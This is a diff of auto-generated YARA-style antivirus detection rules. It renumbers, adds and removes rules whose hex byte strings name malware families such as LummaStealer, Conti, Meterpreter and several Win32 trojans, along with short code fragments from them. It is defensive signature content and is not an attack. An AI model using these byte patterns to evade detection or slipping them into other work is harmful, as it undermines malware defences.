"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19942,7 +20066,7 @@ rule _InfrastructureShared_1909{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1910{ +rule _InfrastructureShared_1920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19952,7 +20076,7 @@ rule _InfrastructureShared_1910{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1911{ +rule _InfrastructureShared_1921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19962,7 +20086,7 @@ rule _InfrastructureShared_1911{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1912{ +rule _InfrastructureShared_1922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19972,7 +20096,7 @@ rule _InfrastructureShared_1912{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1913{ +rule _InfrastructureShared_1923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19982,7 +20106,7 @@ rule _InfrastructureShared_1913{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1914{ +rule _InfrastructureShared_1924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -19992,7 +20116,7 @@ rule _InfrastructureShared_1914{ ((#a_6c_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1915{ +rule _InfrastructureShared_1925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20002,7 +20126,7 @@ rule _InfrastructureShared_1915{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1916{ +rule _InfrastructureShared_1926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20012,27 +20136,47 @@ rule _InfrastructureShared_1916{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1917{ +rule _InfrastructureShared_1927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_77_0 = {69 3a 54 72 6f 6a 61 6e 3a 54 72 61 70 77 6f 74 00 01 00 17 03 40 00 c7 05 90 01 02 40 00 57 72 69 74 8b 15 90 01 02 40 00 52 90 00 00 00 78 3a 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 6f 6f 72 66 2e 41 21 64 68 61 00 01 00 0f 01 5c 42 6f 74 20 46 72 65 73 68 2e 70 64 62 00 00 00 78 3a 00 } //19491 + $a_77_0 = {69 3a 54 72 6f 6a 61 6e 3a 54 72 61 70 77 6f 74 00 01 00 17 03 40 00 c7 05 90 01 02 40 00 57 72 69 74 8b 15 90 01 02 40 00 52 90 00 00 00 78 3a 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 61 69 6b 2e 43 4d 21 4d 54 42 00 01 00 0f 01 ea 4e 00 14 25 2d 24 0c 25 2d 24 14 25 2d 24 00 00 78 3a 00 } //19491 condition: ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1918{ +rule _InfrastructureShared_1928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 6f 6f 72 66 2e 41 21 64 68 61 00 01 00 0f 01 5c 42 6f 74 20 46 72 65 73 68 2e 70 64 62 00 00 00 78 3a 00 00 01 00 01 00 01 00 21 23 56 42 49 6e 6a 65 63 74 2e 5a 4e } //21539 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 61 69 6b 2e 43 4d 21 4d 54 42 00 01 00 0f 01 ea 4e 00 14 25 2d 24 0c 25 2d 24 14 25 2d 24 00 00 78 3a 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a } //21539 condition: ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_1919{ +rule _InfrastructureShared_1929{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 6f 6f 72 66 2e 41 21 64 68 61 00 01 00 0f 01 5c 42 6f 74 20 46 72 65 73 68 2e 70 64 62 00 00 00 78 3a 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_1930{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 61 6c 44 72 76 2e 45 54 4c 21 4d 54 42 00 01 00 0c 01 20 00 00 60 2e 76 67 63 66 63 6b 30 00 00 78 3a 00 00 01 00 01 00 01 00 21 23 56 42 49 6e 6a 65 63 74 2e 5a 4e } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_1931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20042,7 +20186,7 @@ rule _InfrastructureShared_1919{ ((#a_49_0 & 1)*22051) >=1 } -rule _InfrastructureShared_1920{ +rule _InfrastructureShared_1932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20052,18 +20196,28 @@ rule _InfrastructureShared_1920{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1921{ +rule _InfrastructureShared_1933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " strings : - $a_54_0 = {3a 50 53 49 64 65 6e 74 69 66 69 65 72 00 01 00 0a 80 01 6e 65 77 2d 6f 62 6a 65 63 74 01 00 0a 80 01 2d 63 6f 6d 6f 62 6a 65 63 74 00 00 78 3a 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 65 72 62 75 2e 53 47 } //18467 - $a_42_1 = {02 00 0e 01 e8 86 22 00 00 33 f6 89 75 fc 8d 45 98 50 00 00 78 3a 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 41 75 74 6f 41 74 74 72 4d 73 69 6c 5f 33 46 31 45 32 34 38 34 00 01 00 06 01 30 30 30 30 32 33 01 00 07 01 74 72 52 65 76 65 72 00 00 78 3a } //19745 + $a_54_0 = {3a 50 53 49 64 65 6e 74 69 66 69 65 72 00 01 00 0a 80 01 6e 65 77 2d 6f 62 6a 65 63 74 01 00 0a 80 01 2d 63 6f 6d 6f 62 6a 65 63 74 00 00 78 3a 00 00 02 00 02 00 01 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 32 31 00 02 00 } //18467 + $a_77_1 = {72 6c 64 90 01 1e 40 00 00 40 2e 77 6f 72 6c 64 90 00 00 00 78 3a 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e } //789 condition: - ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*19745) >=1 + ((#a_54_0 & 1)*18467+(#a_77_1 & 1)*789) >=1 } -rule _InfrastructureShared_1922{ +rule _InfrastructureShared_1934{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 32 31 00 02 00 15 03 2e 77 6f 72 6c 64 90 01 1e 40 00 00 40 2e 77 6f 72 6c 64 90 00 00 00 78 3a 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 65 72 62 75 2e 53 47 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=2 + +} +rule _InfrastructureShared_1935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -20073,7 +20227,7 @@ rule _InfrastructureShared_1922{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_1923{ +rule _InfrastructureShared_1936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -20084,7 +20238,7 @@ rule _InfrastructureShared_1923{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*66) >=2 } -rule _InfrastructureShared_1924{ +rule _InfrastructureShared_1937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -20095,7 +20249,7 @@ rule _InfrastructureShared_1924{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*55) >=2 } -rule _InfrastructureShared_1925{ +rule _InfrastructureShared_1938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -20106,7 +20260,7 @@ rule _InfrastructureShared_1925{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*49) >=2 } -rule _InfrastructureShared_1926{ +rule _InfrastructureShared_1939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -20117,7 +20271,7 @@ rule _InfrastructureShared_1926{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*67) >=2 } -rule _InfrastructureShared_1927{ +rule _InfrastructureShared_1940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -20127,7 +20281,7 @@ rule _InfrastructureShared_1927{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_1928{ +rule _InfrastructureShared_1941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -20139,7 +20293,7 @@ rule _InfrastructureShared_1928{ ((#a_54_0 & 1)*18467+(#a_60_1 & 1)*-18673+(#a_3b_2 & 1)*0) >=3 } -rule _InfrastructureShared_1929{ +rule _InfrastructureShared_1942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -20150,7 +20304,7 @@ rule _InfrastructureShared_1929{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*11826) >=10 } -rule _InfrastructureShared_1930{ +rule _InfrastructureShared_1943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -20161,7 +20315,7 @@ rule _InfrastructureShared_1930{ ((#a_4c_0 & 1)*21539+(#a_33_1 & 1)*26967) >=20 } -rule _InfrastructureShared_1931{ +rule _InfrastructureShared_1944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20171,7 +20325,7 @@ rule _InfrastructureShared_1931{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1932{ +rule _InfrastructureShared_1945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20181,7 +20335,7 @@ rule _InfrastructureShared_1932{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1933{ +rule _InfrastructureShared_1946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20191,7 +20345,7 @@ rule _InfrastructureShared_1933{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1934{ +rule _InfrastructureShared_1947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20201,7 +20355,7 @@ rule _InfrastructureShared_1934{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1935{ +rule _InfrastructureShared_1948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20211,7 +20365,7 @@ rule _InfrastructureShared_1935{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1936{ +rule _InfrastructureShared_1949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20221,7 +20375,7 @@ rule _InfrastructureShared_1936{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1937{ +rule _InfrastructureShared_1950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20231,7 +20385,7 @@ rule _InfrastructureShared_1937{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1938{ +rule _InfrastructureShared_1951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20241,7 +20395,7 @@ rule _InfrastructureShared_1938{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1939{ +rule _InfrastructureShared_1952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20251,7 +20405,7 @@ rule _InfrastructureShared_1939{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1940{ +rule _InfrastructureShared_1953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20261,7 +20415,7 @@ rule _InfrastructureShared_1940{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1941{ +rule _InfrastructureShared_1954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20271,7 +20425,7 @@ rule _InfrastructureShared_1941{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1942{ +rule _InfrastructureShared_1955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20281,7 +20435,7 @@ rule _InfrastructureShared_1942{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1943{ +rule _InfrastructureShared_1956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -20290,145 +20444,15 @@ rule _InfrastructureShared_1943{ condition: ((#a_49_0 & 1)*17699) >=1 -} -rule _InfrastructureShared_1944{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_49_0 = {56 45 43 54 4f 52 5f 48 41 4e 44 4f 46 5f 54 41 42 4c 45 5f 47 55 49 44 00 01 00 10 01 1c c1 6e 99 97 53 73 4e b5 8f 82 7e 52 90 6d ef 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 48 61 72 6d 6f 6e } //17699 - condition: - ((#a_49_0 & 1)*17699) >=1 - -} -rule _InfrastructureShared_1945{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_54_0 = {3a 48 61 72 6d 6f 6e 79 2e 42 00 01 00 1e 03 68 e6 17 8f 7b 56 e8 90 01 03 00 59 a3 90 01 04 85 c0 59 74 90 01 01 68 9c 95 1a 6e 90 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 4a 70 67 45 78 74 65 6e 73 69 6f 6e 73 00 01 00 1a 01 2e } //18467 - condition: - ((#a_54_0 & 1)*18467) >=1 - -} -rule _InfrastructureShared_1946{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_54_0 = {3a 4a 70 67 45 78 74 65 6e 73 69 6f 6e 73 00 01 00 1a 01 2e 00 6a 00 70 00 65 00 2e 00 6a 00 70 00 65 00 67 00 2e 00 6a 00 70 00 67 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 4e 69 76 64 6f 72 74 2e 44 50 21 53 74 72 75 63 74 00 01 } //18467 - condition: - ((#a_54_0 & 1)*18467) >=1 - -} -rule _InfrastructureShared_1947{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_54_0 = {3a 4e 69 76 64 6f 72 74 2e 44 50 21 53 74 72 75 63 74 00 01 00 16 03 d9 5c 24 0c d9 44 24 0c d9 1d 90 02 20 d9 05 90 02 20 81 f9 90 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 4e 69 76 64 6f 72 74 2e 45 43 21 53 6c 65 65 70 30 78 33 } //18467 - condition: - ((#a_54_0 & 1)*18467) >=1 - -} -rule _InfrastructureShared_1948{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_54_0 = {3a 4e 69 76 64 6f 72 74 2e 45 43 21 53 6c 65 65 70 30 78 33 45 38 00 01 00 12 03 89 e1 c7 01 e8 03 00 00 90 02 10 ff d0 83 ec 04 90 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 4e 69 76 64 6f 72 74 2e 45 48 21 6d 65 6d 63 70 79 00 01 } //18467 - condition: - ((#a_54_0 & 1)*18467) >=1 - -} -rule _InfrastructureShared_1949{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_54_0 = {3a 4e 69 76 64 6f 72 74 2e 45 48 21 6d 65 6d 63 70 79 00 01 00 16 03 8a 44 18 01 30 45 01 90 02 10 66 81 05 90 02 20 0f b7 75 00 90 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 4e 6f 74 6f 72 67 61 74 72 6f 2e 42 00 01 00 1b 01 7e 2c } //18467 - condition: - ((#a_54_0 & 1)*18467) >=1 - -} -rule _InfrastructureShared_1950{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_54_0 = {3a 4e 6f 74 6f 72 67 61 74 72 6f 2e 42 00 01 00 1b 01 7e 2c be 01 00 00 00 8d 45 e8 8b 55 f8 8a 54 3a ff 8b 4d fc 8a 4c 31 ff 32 d1 e8 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 65 73 63 68 5f 4e 74 68 5f 54 65 72 6d 00 01 00 19 03 } //18467 - condition: - ((#a_54_0 & 1)*18467) >=1 - -} -rule _InfrastructureShared_1951{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_54_0 = {3a 54 65 73 63 68 5f 4e 74 68 5f 54 65 72 6d 00 01 00 19 03 33 c0 33 c9 40 83 f8 01 7e 02 03 c8 40 83 f8 90 01 01 72 f3 33 c0 c3 90 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6e 69 46 6c } //18467 - condition: - ((#a_54_0 & 1)*18467) >=1 - -} -rule _InfrastructureShared_1952{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6e 69 46 6c 61 6d 65 2e 42 00 01 00 0f 01 00 69 63 73 76 6e 74 75 33 32 2e 6f 63 78 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 75 73 73 6b 69 } //18467 - condition: - ((#a_54_0 & 1)*18467) >=1 - -} -rule _InfrastructureShared_1953{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 75 73 73 6b 69 6c 6c 2e 41 00 01 00 10 03 84 c0 74 06 83 7d f8 27 7c 90 14 6a 5a e8 90 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 55 52 4c 3a 74 65 6d 70 75 72 69 2e 6f 72 67 2e 41 00 01 } //18467 - condition: - ((#a_54_0 & 1)*18467) >=1 - -} -rule _InfrastructureShared_1954{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_54_0 = {3a 55 52 4c 3a 74 65 6d 70 75 72 69 2e 6f 72 67 2e 41 00 01 00 16 01 74 00 65 00 6d 00 70 00 75 00 72 00 69 00 2e 00 6f 00 72 00 67 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 46 53 31 38 2e 53 74 61 63 6b 42 61 73 } //18467 - condition: - ((#a_54_0 & 1)*18467) >=1 - -} -rule _InfrastructureShared_1955{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_54_0 = {3a 57 69 6e 33 32 2f 46 53 31 38 2e 53 74 61 63 6b 42 61 73 65 2e 41 00 01 00 11 03 64 8b 0d 18 00 00 00 8b 90 04 01 02 59 79 04 90 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 50 75 6d 62 61 2e 44 00 01 00 1a 03 8d } //18467 - condition: - ((#a_54_0 & 1)*18467) >=1 - -} -rule _InfrastructureShared_1956{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_54_0 = {3a 57 69 6e 33 32 2f 50 75 6d 62 61 2e 44 00 01 00 1a 03 8d 55 a4 b8 0d 00 00 00 e8 90 01 04 ff 75 a4 8d 45 b0 ba 05 00 00 00 e8 90 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 57 69 6e 36 34 2f 4d 65 74 65 72 70 72 65 74 65 72 21 77 } //18467 - condition: - ((#a_54_0 & 1)*18467) >=1 - } rule _InfrastructureShared_1957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_54_0 = {3a 57 69 6e 36 34 2f 4d 65 74 65 72 70 72 65 74 65 72 21 77 73 32 5f 33 32 00 01 00 0f 01 49 be 77 73 32 5f 33 32 00 00 41 56 49 89 e6 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 65 78 70 69 72 6f 5f 72 65 74 75 72 6e 5f 6f 65 70 5f 6c } //18467 + $a_49_0 = {56 45 43 54 4f 52 5f 48 41 4e 44 4f 46 5f 54 41 42 4c 45 5f 47 55 49 44 00 01 00 10 01 1c c1 6e 99 97 53 73 4e b5 8f 82 7e 52 90 6d ef 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 43 6f 6e 74 69 2e } //17699 condition: - ((#a_54_0 & 1)*18467) >=1 + ((#a_49_0 & 1)*17699) >=1 } rule _InfrastructureShared_1958{ @@ -20436,7 +20460,7 @@ rule _InfrastructureShared_1958{ description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_54_0 = {3a 65 78 70 69 72 6f 5f 72 65 74 75 72 6e 5f 6f 65 70 5f 6c 6f 77 66 69 5f 36 34 00 01 00 0d 01 41 5f 41 5e 41 5d 41 5c 5f 5e 5b c9 e9 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 4c 4f 57 46 49 3a 57 6f 72 6d 3a 57 69 6e 33 32 2f 47 61 6d 61 72 75 65 } //18467 + $a_54_0 = {3a 43 6f 6e 74 69 2e 41 00 01 00 20 01 46 00 6f 00 75 00 6e 00 64 00 20 00 25 00 64 00 20 00 64 00 72 00 69 00 76 00 65 00 73 00 3a 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 48 61 72 6d 6f 6e 79 2e 42 00 01 00 1e 03 68 e6 17 8f 7b } //18467 condition: ((#a_54_0 & 1)*18467) >=1 @@ -20445,13 +20469,153 @@ rule _InfrastructureShared_1959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + strings : + $a_54_0 = {3a 48 61 72 6d 6f 6e 79 2e 42 00 01 00 1e 03 68 e6 17 8f 7b 56 e8 90 01 03 00 59 a3 90 01 04 85 c0 59 74 90 01 01 68 9c 95 1a 6e 90 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 4a 70 67 45 78 74 65 6e 73 69 6f 6e 73 00 01 00 1a 01 2e } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_1960{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 4a 70 67 45 78 74 65 6e 73 69 6f 6e 73 00 01 00 1a 01 2e 00 6a 00 70 00 65 00 2e 00 6a 00 70 00 65 00 67 00 2e 00 6a 00 70 00 67 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 4e 69 76 64 6f 72 74 2e 44 50 21 53 74 72 75 63 74 00 01 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_1961{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 4e 69 76 64 6f 72 74 2e 44 50 21 53 74 72 75 63 74 00 01 00 16 03 d9 5c 24 0c d9 44 24 0c d9 1d 90 02 20 d9 05 90 02 20 81 f9 90 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 4e 69 76 64 6f 72 74 2e 45 43 21 53 6c 65 65 70 30 78 33 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_1962{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 4e 69 76 64 6f 72 74 2e 45 43 21 53 6c 65 65 70 30 78 33 45 38 00 01 00 12 03 89 e1 c7 01 e8 03 00 00 90 02 10 ff d0 83 ec 04 90 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 4e 69 76 64 6f 72 74 2e 45 48 21 6d 65 6d 63 70 79 00 01 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_1963{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 4e 69 76 64 6f 72 74 2e 45 48 21 6d 65 6d 63 70 79 00 01 00 16 03 8a 44 18 01 30 45 01 90 02 10 66 81 05 90 02 20 0f b7 75 00 90 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 4e 6f 74 6f 72 67 61 74 72 6f 2e 42 00 01 00 1b 01 7e 2c } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_1964{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 4e 6f 74 6f 72 67 61 74 72 6f 2e 42 00 01 00 1b 01 7e 2c be 01 00 00 00 8d 45 e8 8b 55 f8 8a 54 3a ff 8b 4d fc 8a 4c 31 ff 32 d1 e8 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 65 73 63 68 5f 4e 74 68 5f 54 65 72 6d 00 01 00 19 03 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_1965{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 65 73 63 68 5f 4e 74 68 5f 54 65 72 6d 00 01 00 19 03 33 c0 33 c9 40 83 f8 01 7e 02 03 c8 40 83 f8 90 01 01 72 f3 33 c0 c3 90 00 00 00 78 3b 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6e 69 46 6c } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_1966{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6e 69 46 6c 61 6d 65 2e 42 00 01 00 0f 01 00 69 63 73 76 6e 74 75 33 32 2e 6f 